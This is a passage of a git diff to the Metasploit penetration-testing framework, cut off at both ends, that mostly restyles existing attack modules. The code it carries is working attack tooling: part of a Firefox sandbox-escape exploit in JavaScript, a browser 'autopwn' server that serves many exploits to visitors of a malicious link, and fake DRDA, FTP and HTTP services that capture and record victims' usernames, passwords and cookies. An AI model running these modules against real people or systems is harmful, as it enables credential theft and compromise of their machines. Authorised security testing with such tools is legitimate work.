>= 0 || data.indexOf('aboutNetError') > -1) {; - return null; - } else { - throw new Error(); + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); } } catch (e) { - ;; + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } } + return data; } - } - } - return data; -} -function _(s, template, value) { - s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; - s = s.substring(0, s.length - 1); - if (template && value) { - s = s.replace(template, value); - } - s += __proto; - s += xml2string; - s += get_data; - s = s.replace(/\\s\\/\\/.*\\n/g, ""); - s = s + ";undefined"; - return s; -} - -function get_sandbox_context() { - if (window.my_win_id == null) { - for (var i = 0; i < 20; i++) { - try { - if (window[i].location.toString().indexOf("view-source:") != -1) { - my_win_id = i; - break; + function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); } - } catch (e) {} - } - }; - if (window.my_win_id == null) - return; - clearInterval(sandbox_context_i); - object.data = 'view-source:' + blobURL; - window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; - object.data = 'data:text/html,<'+'html/>'; - window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '| - #ret << %Q|| + # ret << %Q|| end return ret end def exploit_resource(name) if (@exploits[name] && @exploits[name].respond_to?("get_resource")) - #print_line("Returning #{@exploits[name].get_resource.inspect}, for #{name}") + # print_line("Returning #{@exploits[name].get_resource.inspect}, for #{name}") return @exploits[name].get_resource else print_error("Don't have an exploit by that name, returning 404#{name}.html") @@ -1057,6 +1075,7 @@ def js_debug(msg) if datastore['DEBUG_AUTOPWN'] return "document.body.innerHTML += #{msg};" end + return "" end @@ -1065,6 +1084,7 @@ def cleanup @exploits.each_pair do |name, mod| # if the module died for some reason, we can't kill it next unless mod + framework.jobs[mod.job_id.to_s].stop if framework.jobs[mod.job_id.to_s] end @handler_job_ids.each do |id| diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index 02521fce7761f..fb99a5998b622 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -6,59 +6,66 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::BrowserAutopwn2 - def initialize(info={}) - super(update_info(info, - 'Name' => "HTTP Client Automatic Exploiter 2 (Browser Autopwn)", - 'Description' => %q{ - This module will automatically serve browser exploits. Here are the options you can - configure: - - The INCLUDE_PATTERN option allows you to specify the kind of exploits to be loaded. For example, - if you wish to load just Adobe Flash exploits, then you can set Include to 'adobe_flash'. - - The EXCLUDE_PATTERN option will ignore exploits. For example, if you don't want any Adobe Flash - exploits, you can set this. Also note that the Exclude option will always be evaluated - after the Include option. - - The MaxExploitCount option specifies the max number of exploits to load by Browser Autopwn. - By default, 20 will be loaded. But note that the client will probably not be vulnerable - to all 20 of them, so only some will actually be served to the client. - - The HTMLContent option allows you to provide a basic webpage. This is what the user behind - the vulnerable browser will see. You can simply set a string, or you can do the file:// - syntax to load an HTML file. Note this option might break exploits so try to keep it - as simple as possible. - - The MaxSessionCount option is used to limit how many sessions Browser Autopwn is allowed to - get. The default -1 means unlimited. Combining this with other options such as RealList - and Custom404, you can get information about which visitors (IPs) clicked on your malicious - link, what exploits they might be vulnerable to, redirect them to your own internal - training website without actually attacking them. - - For more information about Browser Autopwn, please see the referenced blog post. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r' ], - 'DisclosureDate' => '2015-07-05', - 'References' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "HTTP Client Automatic Exploiter 2 (Browser Autopwn)", + 'Description' => %q{ + This module will automatically serve browser exploits. Here are the options you can + configure: + + The INCLUDE_PATTERN option allows you to specify the kind of exploits to be loaded. For example, + if you wish to load just Adobe Flash exploits, then you can set Include to 'adobe_flash'. + + The EXCLUDE_PATTERN option will ignore exploits. For example, if you don't want any Adobe Flash + exploits, you can set this. Also note that the Exclude option will always be evaluated + after the Include option. + + The MaxExploitCount option specifies the max number of exploits to load by Browser Autopwn. + By default, 20 will be loaded. But note that the client will probably not be vulnerable + to all 20 of them, so only some will actually be served to the client. + + The HTMLContent option allows you to provide a basic webpage. This is what the user behind + the vulnerable browser will see. You can simply set a string, or you can do the file:// + syntax to load an HTML file. Note this option might break exploits so try to keep it + as simple as possible. + + The MaxSessionCount option is used to limit how many sessions Browser Autopwn is allowed to + get. The default -1 means unlimited. Combining this with other options such as RealList + and Custom404, you can get information about which visitors (IPs) clicked on your malicious + link, what exploits they might be vulnerable to, redirect them to your own internal + training website without actually attacking them. + + For more information about Browser Autopwn, please see the referenced blog post. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'DisclosureDate' => '2015-07-05', + 'References' => [ [ 'URL', 'https://www.rapid7.com/blog/post/2015/07/16/the-new-metasploit-browser-autopwn-strikes-faster-and-smarter--part-2' ] ], - 'Actions' => - [ - [ 'WebServer', { - 'Description' => 'Start a bunch of modules and direct clients to appropriate exploits' - } ], + 'Actions' => [ + [ + 'WebServer', { + 'Description' => 'Start a bunch of modules and direct clients to appropriate exploits' + } + ], ], - 'PassiveActions' => - [ 'WebServer' ], - 'DefaultOptions' => { + 'PassiveActions' => [ 'WebServer' ], + 'DefaultOptions' => { # We know that most of these exploits will crash the browser, so # set the default to run migrate right away if possible. "InitialAutoRunScript" => "migrate -f", }, - 'DefaultAction' => 'WebServer')) - + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_advanced_options(get_advanced_options, self.class) @@ -67,16 +74,17 @@ def initialize(info={}) OptRegexp.new('INCLUDE_PATTERN', [false, 'Pattern search to include specific modules']), OptRegexp.new('EXCLUDE_PATTERN', [false, 'Pattern search to exclude specific modules']), - ]) + ] + ) register_advanced_options([ - OptInt.new('ExploitReloadTimeout', [false, 'Number of milliseconds before trying the next exploit', 3000]), - OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 21]), - OptString.new('HTMLContent', [false, 'HTML Content', '']), - OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]), - OptInt.new('MaxSessionCount', [false, 'Number of sessions to get', -1]), - OptBool.new('ShowExploitList', [true, "Show which exploits will actually be served to each client", false]) - ]) + OptInt.new('ExploitReloadTimeout', [false, 'Number of milliseconds before trying the next exploit', 3000]), + OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 21]), + OptString.new('HTMLContent', [false, 'HTML Content', '']), + OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]), + OptInt.new('MaxSessionCount', [false, 'Number of sessions to get', -1]), + OptBool.new('ShowExploitList', [true, "Show which exploits will actually be served to each client", false]) + ]) end def get_advanced_options diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index 57afeab61b27d..7aa1df60aca96 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -10,42 +10,48 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report class Constants - CODEPOINT_ACCSEC = 0x106d - CODEPOINT_SECCHK = 0x106e - CODEPOINT_SRVCLSNM = 0x1147 - CODEPOINT_SRVCOD = 0x1149 - CODEPOINT_SRVRLSLV = 0x115a - CODEPOINT_EXTNAM = 0x115e - CODEPOINT_SRVNAM = 0x116d - CODEPOINT_USERID = 0x11a0 - CODEPOINT_PASSWORD = 0x11a1 - CODEPOINT_SECMEC = 0x11a2 - CODEPOINT_SECCHKCD = 0x11a4 - CODEPOINT_SECCHKRM = 0x1219 - CODEPOINT_MGRLVLLS = 0x1404 - CODEPOINT_EXCSATRD = 0x1443 - CODEPOINT_ACCSECRD = 0x14ac - CODEPOINT_RDBNAM = 0x2110 + CODEPOINT_ACCSEC = 0x106d + CODEPOINT_SECCHK = 0x106e + CODEPOINT_SRVCLSNM = 0x1147 + CODEPOINT_SRVCOD = 0x1149 + CODEPOINT_SRVRLSLV = 0x115a + CODEPOINT_EXTNAM = 0x115e + CODEPOINT_SRVNAM = 0x116d + CODEPOINT_USERID = 0x11a0 + CODEPOINT_PASSWORD = 0x11a1 + CODEPOINT_SECMEC = 0x11a2 + CODEPOINT_SECCHKCD = 0x11a4 + CODEPOINT_SECCHKRM = 0x1219 + CODEPOINT_MGRLVLLS = 0x1404 + CODEPOINT_EXCSATRD = 0x1443 + CODEPOINT_ACCSECRD = 0x14ac + CODEPOINT_RDBNAM = 0x2110 end def initialize super( - 'Name' => 'Authentication Capture: DRDA (DB2, Informix, Derby)', - 'Description' => %q{ + 'Name' => 'Authentication Capture: DRDA (DB2, Informix, Derby)', + 'Description' => %q{ This module provides a fake DRDA (DB2, Informix, Derby) server that is designed to capture authentication credentials. }, - 'Author' => 'Patrik Karlsson ', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run DRDA capture server' ]], + 'Author' => 'Patrik Karlsson ', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run DRDA capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 50000 ]) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50000 ]) + ] + ) end def setup @@ -54,87 +60,87 @@ def setup end def run - exploit() + exploit end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :user => nil, - :pass => nil, - :database => nil + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, + user: nil, + pass: nil, + database: nil } end # translates EBDIC to ASCII def drda_ascii_to_ebdic(str) a2e = [ - "00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F" + - "405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F" + - "7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D" + - "79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107" + - "202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1" + - "4142434445464748495152535455565758596263646566676869707172737475" + - "767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7" + - "B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF" - ].pack("H*") - str.unpack('C*').map {|c| a2e[c] }.pack("A"*str.length) + '00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F' \ + '405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F' \ + '7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D' \ + '79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107' \ + '202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1' \ + '4142434445464748495152535455565758596263646566676869707172737475' \ + '767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7' \ + 'B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF' + ].pack('H*') + str.unpack('C*').map { |c| a2e[c] }.pack('A' * str.length) end # translates ASCII to EBDIC def drda_ebdic_to_ascii(str) e2a = [ - "000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F" + - "80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A" + - "20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E" + - "2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22" + - "C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0" + - "D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7" + - "7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3" + - "5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF" - ].pack("H*") - str.unpack('C*').map {|c| e2a[c] }.pack("A"*str.length) + '000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F' \ + '80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A' \ + '20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E' \ + '2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22' \ + 'C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0' \ + 'D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7' \ + '7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3' \ + '5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF' + ].pack('H*') + str.unpack('C*').map { |c| e2a[c] }.pack('A' * str.length) end # parses and returns a DRDA parameter def drda_parse_parameter(data) param = { - :length => data.slice!(0,2).unpack("n")[0], - :codepoint => data.slice!(0,2).unpack("n")[0], - :data => "" + length: data.slice!(0, 2).unpack('n')[0], + codepoint: data.slice!(0, 2).unpack('n')[0], + data: '' } - param[:data] = drda_ebdic_to_ascii(data.slice!(0,param[:length] - 4).unpack("A*")[0]) + param[:data] = drda_ebdic_to_ascii(data.slice!(0, param[:length] - 4).unpack('A*')[0]) param end # creates a DRDA parameter def drda_create_parameter(codepoint, data) param = { - :codepoint => codepoint, - :data => drda_ascii_to_ebdic(data), - :length => data.length + 4 + codepoint: codepoint, + data: drda_ascii_to_ebdic(data), + length: data.length + 4 } param end # creates a DRDA CMD with parameters and returns it as an opaque string - def drda_create_cmd(codepoint, options = { :format => 0x43, :correlid => 0x01 }, params=[]) - data = "" + def drda_create_cmd(codepoint, options = { format: 0x43, correlid: 0x01 }, params = []) + data = '' for p in params.each - data << [p[:length]].pack("n") - data << [p[:codepoint]].pack("n") - data << [p[:data]].pack("A*") + data << [p[:length]].pack('n') + data << [p[:codepoint]].pack('n') + data << [p[:data]].pack('A*') end - hdr = "" - hdr << [data.length + 10].pack("n") - hdr << [0xd0].pack("C") # magic - hdr << [options[:format]].pack("C") # format - hdr << [options[:correlid]].pack("n") # corellid - hdr << [data.length + 4].pack("n") # length2 - hdr << [codepoint].pack("n") + hdr = '' + hdr << [data.length + 10].pack('n') + hdr << [0xd0].pack('C') # magic + hdr << [options[:format]].pack('C') # format + hdr << [options[:correlid]].pack('n') # corellid + hdr << [data.length + 4].pack('n') # length2 + hdr << [codepoint].pack('n') data = hdr + data data @@ -146,79 +152,77 @@ def drda_parse_response(data) until data.empty? cp = { - :length => data.slice!(0, 2).unpack("n")[0], - :magic => data.slice!(0, 1).unpack("C")[0], - :format => data.slice!(0, 1).unpack("C")[0], - :corellid => data.slice!(0,2).unpack("n")[0], - :length2 => data.slice!(0,2).unpack("n")[0], - :codepoint => data.slice!(0,2).unpack("n")[0], - :params => [] + length: data.slice!(0, 2).unpack('n')[0], + magic: data.slice!(0, 1).unpack('C')[0], + format: data.slice!(0, 1).unpack('C')[0], + corellid: data.slice!(0, 2).unpack('n')[0], + length2: data.slice!(0, 2).unpack('n')[0], + codepoint: data.slice!(0, 2).unpack('n')[0], + params: [] } cpdata = data.slice!(0, cp[:length] - 10) - until cpdata.empty? - cp[:params] << drda_parse_parameter(cpdata) - end + cp[:params] << drda_parse_parameter(cpdata) until cpdata.empty? result << cp end result end # sends of a DRDA command - def drda_send_cmd(c, cmd) - data = "" - cmd.each {|d| data << d} - c.put data + def drda_send_cmd(client, cmd) + data = '' + cmd.each { |d| data << d } + client.put data end - def on_client_data(c) - data = c.get_once + def on_client_data(client) + data = client.get_once - return if not data + return if !data for cmd in drda_parse_response(data).each case cmd[:codepoint] when Constants::CODEPOINT_ACCSEC params = [] - params << drda_create_parameter(Constants::CODEPOINT_EXTNAM, "DB2 db2sysc 05D80B00%FED%Y00") - params << drda_create_parameter(Constants::CODEPOINT_MGRLVLLS, ["9d03008e847f008e1c970000840f00979d20008d9dbe0097"].pack("H*")) - params << drda_create_parameter(Constants::CODEPOINT_SRVCLSNM, "QDB2/NT64") - params << drda_create_parameter(Constants::CODEPOINT_SRVNAM, "DB2") - params << drda_create_parameter(Constants::CODEPOINT_SRVRLSLV, "SQL10010") + params << drda_create_parameter(Constants::CODEPOINT_EXTNAM, 'DB2 db2sysc 05D80B00%FED%Y00') + params << drda_create_parameter(Constants::CODEPOINT_MGRLVLLS, ['9d03008e847f008e1c970000840f00979d20008d9dbe0097'].pack('H*')) + params << drda_create_parameter(Constants::CODEPOINT_SRVCLSNM, 'QDB2/NT64') + params << drda_create_parameter(Constants::CODEPOINT_SRVNAM, 'DB2') + params << drda_create_parameter(Constants::CODEPOINT_SRVRLSLV, 'SQL10010') cmd = [] - cmd << drda_create_cmd(Constants::CODEPOINT_EXCSATRD, { :format => 0x43, :correlid => 1 }, params) + cmd << drda_create_cmd(Constants::CODEPOINT_EXCSATRD, { format: 0x43, correlid: 1 }, params) params = [] params << drda_create_parameter(Constants::CODEPOINT_SECMEC, "\x00\x03") - cmd << drda_create_cmd(Constants::CODEPOINT_ACCSECRD, { :format => 3, :correlid => 2 }, params) + cmd << drda_create_cmd(Constants::CODEPOINT_ACCSECRD, { format: 3, correlid: 2 }, params) - drda_send_cmd(c, cmd) + drda_send_cmd(client, cmd) when Constants::CODEPOINT_SECCHK for p in cmd[:params].each case p[:codepoint] when Constants::CODEPOINT_USERID - @state[c][:user] = p[:data].rstrip + @state[client][:user] = p[:data].rstrip when Constants::CODEPOINT_PASSWORD - @state[c][:pass] = p[:data].rstrip + @state[client][:pass] = p[:data].rstrip when Constants::CODEPOINT_RDBNAM - @state[c][:database] = p[:data].rstrip + @state[client][:database] = p[:data].rstrip end end - else - # print_status("unhandled codepoint: #{cmd[:codepoint]}") - # do nothing + # else + # print_status("unhandled codepoint: #{cmd[:codepoint]}") + # ignore unhandled codepoints end end - if @state[c][:user] and @state[c][:pass] - print_good("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}") + if @state[client][:user] && @state[client][:pass] + print_good("DRDA LOGIN #{@state[client][:name]} Database: #{@state[client][:database]}; #{@state[client][:user]} / #{@state[client][:pass]}") report_cred( - ip: @state[c][:ip], + ip: @state[client][:ip], port: datastore['SRVPORT'], service_name: 'db2_client', - user: @state[c][:user], - password: @state[c][:pass], + user: @state[client][:user], + password: @state[client][:pass], proof: @state.inspect ) @@ -227,10 +231,10 @@ def on_client_data(c) params << drda_create_parameter(Constants::CODEPOINT_SECCHKCD, "\x0f") cmd = [] - cmd << drda_create_cmd(Constants::CODEPOINT_SECCHKRM, { :format => 2, :correlid => 1 }, params) + cmd << drda_create_cmd(Constants::CODEPOINT_SECCHKRM, { format: 2, correlid: 1 }, params) - drda_send_cmd(c, cmd) - #c.close + drda_send_cmd(client, cmd) + # client.close end end @@ -260,7 +264,7 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end end diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index f0def3a353262..8be3de422af10 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -9,29 +9,33 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: FTP', - 'Description' => %q{ + 'Name' => 'Authentication Capture: FTP', + 'Description' => %q{ This module provides a fake FTP service that is designed to capture authentication credentials. }, - 'Author' => ['ddz', 'hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Capture', 'Description' => 'Run FTP capture server' ] - ], - 'PassiveActions' => - [ - 'Capture' - ], - 'DefaultAction' => 'Capture' + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run FTP capture server' } ] + ], + 'PassiveActions' => [ + 'Capture' + ], + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]), - OptString.new('BANNER', [ true, "The server banner", 'FTP Server Ready']) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 21 ]), + OptString.new('BANNER', [ true, 'The server banner', 'FTP Server Ready']) + ] + ) end def setup @@ -40,12 +44,12 @@ def setup end def run - exploit() + exploit end - def on_client_connect(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil} - c.put "220 #{datastore['BANNER']}\r\n" + def on_client_connect(client) + @state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport, user: nil, pass: nil } + client.put "220 #{datastore['BANNER']}\r\n" end def report_cred(opts) @@ -74,47 +78,46 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_data(c) - data = c.get_once - return if not data - cmd,arg = data.strip.split(/\s+/, 2) - arg ||= "" + def on_client_data(client) + data = client.get_once + return if !data + + cmd, arg = data.strip.split(/\s+/, 2) + arg ||= '' - if(cmd.upcase == "USER") - @state[c][:user] = arg - c.put "331 User name okay, need password...\r\n" + if (cmd.upcase == 'USER') + @state[client][:user] = arg + client.put "331 User name okay, need password...\r\n" return end - if(cmd.upcase == "QUIT") - c.put "221 Logout\r\n" + if (cmd.upcase == 'QUIT') + client.put "221 Logout\r\n" return end - if(cmd.upcase == "PASS") - @state[c][:pass] = arg + if (cmd.upcase == 'PASS') + @state[client][:pass] = arg report_cred( - ip: @state[c][:ip], + ip: @state[client][:ip], port: datastore['SRVPORT'], service_name: 'ftp', - user: @state[c][:user], - password: @state[c][:pass], + user: @state[client][:user], + password: @state[client][:pass], proof: arg ) - print_good("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") + print_good("FTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}") end - @state[c][:pass] = data.strip - c.put "500 Error\r\n" + @state[client][:pass] = data.strip + client.put "500 Error\r\n" return - end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end - end diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb index e47b6442ca833..bfe4f5e842a52 100644 --- a/modules/auxiliary/server/capture/http.rb +++ b/modules/auxiliary/server/capture/http.rb @@ -3,50 +3,54 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( - 'Name' => 'Authentication Capture: HTTP', - 'Description' => %q{ + 'Name' => 'Authentication Capture: HTTP', + 'Description' => %q{ This module provides a fake HTTP service that is designed to capture authentication credentials. }, - 'Author' => ['ddz', 'hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Capture', 'Description' => 'Run capture web server' ] - ], - 'PassiveActions' => - [ - 'Capture' - ], - 'DefaultAction' => 'Capture' + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run capture web server' } ] + ], + 'PassiveActions' => [ + 'Capture' + ], + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]), - OptPath.new('TEMPLATE', [ false, "The HTML template to serve in responses", - File.join(Msf::Config.data_directory, "exploits", "capture", "http", "index.html") - ] - ), - OptPath.new('SITELIST', [ false, "The list of URLs that should be used for cookie capture", - File.join(Msf::Config.data_directory, "exploits", "capture", "http", "sites.txt") - ] - ), - OptPath.new('FORMSDIR', [ false, "The directory containing form snippets (example.com.txt)", - File.join(Msf::Config.data_directory, "exploits", "capture", "http", "forms") - ] - ), - OptAddress.new('AUTOPWN_HOST',[ false, "The IP address of the browser_autopwn service ", nil ]), - OptPort.new('AUTOPWN_PORT',[ false, "The SRVPORT port of the browser_autopwn service ", nil ]), - OptString.new('AUTOPWN_URI',[ false, "The URIPATH of the browser_autopwn service ", nil ]), - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 80 ]), + OptPath.new('TEMPLATE', [ + false, 'The HTML template to serve in responses', + File.join(Msf::Config.data_directory, 'exploits', 'capture', 'http', 'index.html') + ]), + OptPath.new('SITELIST', [ + false, 'The list of URLs that should be used for cookie capture', + File.join(Msf::Config.data_directory, 'exploits', 'capture', 'http', 'sites.txt') + ]), + OptPath.new('FORMSDIR', [ + false, 'The directory containing form snippets (example.com.txt)', + File.join(Msf::Config.data_directory, 'exploits', 'capture', 'http', 'forms') + ]), + OptAddress.new('AUTOPWN_HOST', [ false, 'The IP address of the browser_autopwn service ', nil ]), + OptPort.new('AUTOPWN_PORT', [ false, 'The SRVPORT port of the browser_autopwn service ', nil ]), + OptString.new('AUTOPWN_URI', [ false, 'The URIPATH of the browser_autopwn service ', nil ]), + ] + ) end # Not compatible today @@ -58,41 +62,44 @@ def run @formsdir = datastore['FORMSDIR'] @template = datastore['TEMPLATE'] @sitelist = datastore['SITELIST'] - @myhost = datastore['SRVHOST'] - @myport = datastore['SRVPORT'] + @myhost = datastore['SRVHOST'] + @myport = datastore['SRVPORT'] - @myautopwn_host = datastore['AUTOPWN_HOST'] - @myautopwn_port = datastore['AUTOPWN_PORT'] - @myautopwn_uri = datastore['AUTOPWN_URI'] - @myautopwn = false + @myautopwn_host = datastore['AUTOPWN_HOST'] + @myautopwn_port = datastore['AUTOPWN_PORT'] + @myautopwn_uri = datastore['AUTOPWN_URI'] + @myautopwn = false - if(@myautopwn_host and @myautopwn_port and @myautopwn_uri) + if @myautopwn_host && @myautopwn_port && @myautopwn_uri @myautopwn = true end - exploit() + exploit end - def on_client_connect(c) - c.extend(Rex::Proto::Http::ServerClient) - c.init_cli(self) + def on_client_connect(client) + client.extend(Rex::Proto::Http::ServerClient) + client.init_cli(self) end def on_client_data(cli) begin data = cli.get_once(-1, 5) - raise ::Errno::ECONNABORTED if !data or data.length == 0 + raise ::Errno::ECONNABORTED if !data || data.empty? + case cli.request.parse(data) - when Rex::Proto::Http::Packet::ParseCode::Completed - dispatch_request(cli, cli.request) - cli.reset_cli - when Rex::Proto::Http::Packet::ParseCode::Error - close_client(cli) + when Rex::Proto::Http::Packet::ParseCode::Completed + dispatch_request(cli, cli.request) + cli.reset_cli + when Rex::Proto::Http::Packet::ParseCode::Error + close_client(cli) end - rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET - rescue ::OpenSSL::SSL::SSLError - rescue ::Exception - print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") + rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET => e + vprint_error(e.message) + rescue ::OpenSSL::SSL::SSLError => e + vprint_error(e.message) + rescue StandardError + print_error("Error: #{$ERROR_INFO.class} #{$ERROR_INFO} #{$ERROR_INFO.backtrace}") end close_client(cli) @@ -131,131 +138,122 @@ def report_cred(opts) end def dispatch_request(cli, req) - - phost = cli.peerhost + cli.peerhost os_name = nil - os_type = nil - os_vers = nil - os_arch = 'x86' ua_name = nil ua_vers = nil ua = req['User-Agent'] - case (ua) - when /rv:([\d\.]+)/ - ua_name = 'FF' - ua_vers = $1 - when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]+\.[0-9]+)/ - ua_name = 'IE' - ua_vers = $1 - when /Version\/(\d+\.\d+\.\d+).*Safari/ - ua_name = 'Safari' - ua_vers = $1 + case ua + when /rv:([\d.]+)/ + ua_name = 'FF' + ua_vers = ::Regexp.last_match(1) + when %r{Mozilla/[0-9]\.[0-9] \(compatible; MSIE ([0-9]+\.[0-9]+)} + ua_name = 'IE' + ua_vers = ::Regexp.last_match(1) + when %r{Version/(\d+\.\d+\.\d+).*Safari} + ua_name = 'Safari' + ua_vers = ::Regexp.last_match(1) end - case (ua) - when /Windows/ - os_name = 'Windows' - when /Linux/ - os_name = 'Linux' - when /iPhone/ - os_name = 'iPhone' - os_arch = 'armle' - when /Mac OS X/ - os_name = 'Mac' + case ua + when /Windows/ + os_name = 'Windows' + when /Linux/ + os_name = 'Linux' + when /iPhone/ + os_name = 'iPhone' + 'armle' + when /Mac OS X/ + os_name = 'Mac' end - case (ua) - when /PPC/ - os_arch = 